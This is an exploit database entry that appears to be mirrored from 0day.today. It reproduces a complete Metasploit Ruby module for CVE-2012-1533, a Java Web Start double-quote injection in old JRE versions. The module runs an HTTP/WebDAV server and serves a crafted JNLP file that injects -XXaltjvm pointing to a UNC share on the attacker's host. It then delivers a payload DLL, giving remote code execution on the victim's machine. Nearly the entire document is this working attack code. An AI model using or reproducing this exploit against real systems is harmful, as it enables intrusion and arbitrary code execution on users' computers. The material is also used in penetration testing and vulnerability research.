Sun Java Web Start Double Quote Injection Vulnerability

2013-06-10T00:00:00
ID 1337DAY-ID-20867
Type zdt
Reporter metasploit
Modified 2013-06-10T00:00:00

Description

This Metasploit module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This allows the injection of the -XXaltjvm option to load a jvm.dll from a remote UNC path into the java process. Thus an attacker can execute arbitrary code in the context of a browser user. This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing a jvm.dll can be specified with an own SMB server.

                                        
                                            ##
#
# ========================================================
# Java Web Start Double Quote Inject Remote Code Execution
# ========================================================
#
# Date: Jun 12 2012 (updated: Jun 6 2013)
# Author: Rh0
# Version: At least Java 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07
# Tested on: Windows XP SP3 EN and Windows 7
# CVE: 2012-1533
#
# advisory: http://pastebin.com/eUucVage
#
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
    Rank = ExcellentRanking

    #
    # This module acts as an HTTP server
    #
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           =&gt; 'Sun Java Web Start Double Quote Injection',
            'Description'    =&gt; %q{
                    This module exploits a flaw in the Web Start component of the Sun Java
                Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
                file can contain a double quote which is not properly sanitized when creating
                the command line for javaw.exe. This allows the injection of the -XXaltjvm
                option to load a jvm.dll from a remote UNC path into the java process. Thus 
                an attacker can execute arbitrary code in the context of a browser user.
                This flaw was fixed in Oct. 2012 and affects JRE &lt;= 1.6.35 and &lt;= 1.7.07.

                In order for this module to work, it must be ran as root on a server that
                does not serve SMB. Additionally, the target host must have the WebClient
                service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
                a jvm.dll can be specified with an own SMB server.
            },
            'Author'         =&gt; 
                [
                    # NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c)
                    'Rh0 &lt;rh0 () z1p dot biz&gt;',   # discovery and msf module
                ],
            'Version'        =&gt; '0.0',
            'References'     =&gt;
                [
                    [ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ],
                    [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
                ],
            'Platform'       =&gt; 'win',
            'Payload'        =&gt;
                {
                    'Space'    =&gt; 1024,
                    'BadChars' =&gt; '',
                    'DisableNops' =&gt; true,
                    'PrependEncoder' =&gt; "\x81\xc4\x54\xf2\xff\xff"
                },
            'Targets'        =&gt;
                [
                    [ 'Automatic', { } ],
                    [ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
                        {
                            'Platform' =&gt; 'win',
                            'Arch' =&gt; ARCH_X86
                        }
                    ],
                ],
            'DefaultTarget'  =&gt; 0,
            ))

        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
                OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
            ], self.class)
    end


    def auto_target(cli, request)
        agent = request.headers['User-Agent']

        ret = nil
        #print_status("Agent: #{agent}")
        # Check for MSIE and/or WebDAV redirector requests
        if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
            ret = targets[1]
        elsif agent =~ /MSIE (6|7|8)\.0/
            ret = targets[1]
        else
            print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
        end

        ret
    end


    def on_request_uri(cli, request)

        # For this exploit, this does little besides ensures the user agent is a recognized one..
        mytarget = target
        if target.name == 'Automatic'
            mytarget = auto_target(cli, request)
            if (not mytarget)
                send_not_found(cli)
                return
            end
        end

        # Special case to process OPTIONS for /
        if (request.method == 'OPTIONS' and request.uri == '/')
            process_options(cli, request, mytarget)
            return
        end

        # Discard requests for ico files
        if (request.uri =~ /\.ico$/i)
            send_not_found(cli)
            return
        end

        # If there is no subdirectory in the request, we need to redirect.
        if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
            if (request.uri == '/')
                subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
            else
                subdir = request.uri + '/'
            end
            print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
            send_redirect(cli, subdir)
            return
        else
            share_name = $1
        end

        # dispatch WebDAV requests based on method first
        case request.method
        when 'OPTIONS'
            process_options(cli, request, mytarget)

        when 'PROPFIND'
            process_propfind(cli, request, mytarget)

        when 'GET'
            process_get(cli, request, mytarget, share_name)

        when 'PUT'
            print_status("Sending 404 for PUT #{request.uri} ...")
            send_not_found(cli)

        else
            print_error("Unexpected request method encountered: #{request.method}")

        end

    end

    #
    # GET requests
    #
    def process_get(cli, request, target, share_name)

        print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        # dispatch based on extension
        if (request.uri =~ /\.dll$/i)
            #
            # DLL requests sent by IE and the WebDav Mini-Redirector
            #
            print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

            # Re-generate the payload
            return if ((p = regenerate_payload(cli)) == nil)

            # Generate a DLL based on the payload
            dll_data = generate_payload_dll({ :code =&gt; p.encoded })

            # Send it :)
            send_response(cli, dll_data, { 'Content-Type' =&gt; 'application/octet-stream' })

        elsif (request.uri =~ /\.jnlp$/i)
            #
            # Send the jnlp document
            #

            # Prepare the UNC path...
            if (datastore['UNCPATH'])
                unc = datastore['UNCPATH'].dup
            else
                my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
                unc = "\\\\" + my_host + "\\" + share_name
            end

            # NOTE: we ensure there's only a single backslash here since it will get escaped
            if unc[0,2] == "\\\\"
                unc.slice!(0, 1)
            end

            http_agent = Rex::Text.rand_text_alpha(8+rand(8))

            # use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
            # inject a parameter into the command line of javaw.exe
            # codebase, href and application-desc parameters successfully suppress java splash
            jnlp_data = &lt;&lt;-EOS
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp"&gt;
&lt;information&gt;
   &lt;title&gt;#{Rex::Text.rand_text_alpha(rand(10)+10)}&lt;/title&gt;
   &lt;vendor&gt;#{Rex::Text.rand_text_alpha(rand(10)+10)}&lt;/vendor&gt;
   &lt;description&gt;#{Rex::Text.rand_text_alpha(rand(10)+10)}&lt;/description&gt;
&lt;/information&gt;
&lt;resources&gt;
   &lt;java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " /&gt;
&lt;/resources&gt;
&lt;application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" /&gt;
&lt;/jnlp&gt;
EOS
            print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")


            send_response(cli, jnlp_data, { 'Content-Type' =&gt; 'application/x-java-jnlp-file' })

        else
            print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
            jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))

            jnlp_path = get_resource()
            if jnlp_path[-1,1] != '/'
                jnlp_path &lt;&lt; '/'
            end
            jnlp_path &lt;&lt; request.uri.split('/')[-1] &lt;&lt; '/'
            jnlp_path &lt;&lt; jnlp_name &lt;&lt; ".jnlp"

            send_redirect(cli, jnlp_path, '')

        end

    end

    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request, target)
        print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        headers = {
            #'DASL'   =&gt; '&lt;DAV:sql&gt;',
            #'DAV'    =&gt; '1, 2',
            'Allow'  =&gt; 'OPTIONS, GET, PROPFIND',
            'Public' =&gt; 'OPTIONS, GET, PROPFIND'
        }
        send_response(cli, '', headers)
    end


    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request, target)
        path = request.uri
        print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        body = ''

        if (path =~ /\.dll$/i)
            # Response for the DLL
            print_status("Sending DLL multistatus for #{path} ...")
#&lt;lp1:getcontentlength&gt;45056&lt;/lp1:getcontentlength&gt;
            body = %Q|&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;D:multistatus xmlns:D="DAV:"&gt;
&lt;D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"&gt;
&lt;D:href&gt;#{path}&lt;/D:href&gt;
&lt;D:propstat&gt;
&lt;D:prop&gt;
&lt;lp1:resourcetype/&gt;
&lt;lp1:creationdate&gt;2010-02-26T17:07:12Z&lt;/lp1:creationdate&gt;
&lt;lp1:getlastmodified&gt;Fri, 26 Feb 2010 17:07:12 GMT&lt;/lp1:getlastmodified&gt;
&lt;lp1:getetag&gt;"39e0132-b000-43c6e5f8d2f80"&lt;/lp1:getetag&gt;
&lt;lp2:executable&gt;F&lt;/lp2:executable&gt;
&lt;D:lockdiscovery/&gt;
&lt;D:getcontenttype&gt;application/octet-stream&lt;/D:getcontenttype&gt;
&lt;/D:prop&gt;
&lt;D:status&gt;HTTP/1.1 200 OK&lt;/D:status&gt;
&lt;/D:propstat&gt;
&lt;/D:response&gt;
&lt;/D:multistatus&gt;
|

        elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
            # Response for anything else (generally just /)
            print_status("Sending directory multistatus for #{path} ...")
            body = %Q|&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;D:multistatus xmlns:D="DAV:"&gt;
&lt;D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"&gt;
&lt;D:href&gt;#{path}&lt;/D:href&gt;
&lt;D:propstat&gt;
&lt;D:prop&gt;
&lt;lp1:resourcetype&gt;&lt;D:collection/&gt;&lt;/lp1:resourcetype&gt;
&lt;lp1:creationdate&gt;2010-02-26T17:07:12Z&lt;/lp1:creationdate&gt;
&lt;lp1:getlastmodified&gt;Fri, 26 Feb 2010 17:07:12 GMT&lt;/lp1:getlastmodified&gt;
&lt;lp1:getetag&gt;"39e0001-1000-4808c3ec95000"&lt;/lp1:getetag&gt;
&lt;D:lockdiscovery/&gt;
&lt;D:getcontenttype&gt;httpd/unix-directory&lt;/D:getcontenttype&gt;
&lt;/D:prop&gt;
&lt;D:status&gt;HTTP/1.1 200 OK&lt;/D:status&gt;
&lt;/D:propstat&gt;
&lt;/D:response&gt;
&lt;/D:multistatus&gt;
|

        else
            print_status("Sending 404 for #{path} ...")
            send_not_found(cli)
            return

        end

        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end


    #
    # Make sure we're on the right port/path to support WebDAV
    #
    def exploit
        if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
            raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
        end

        super
    end

end

#  0day.today [2018-04-14]  #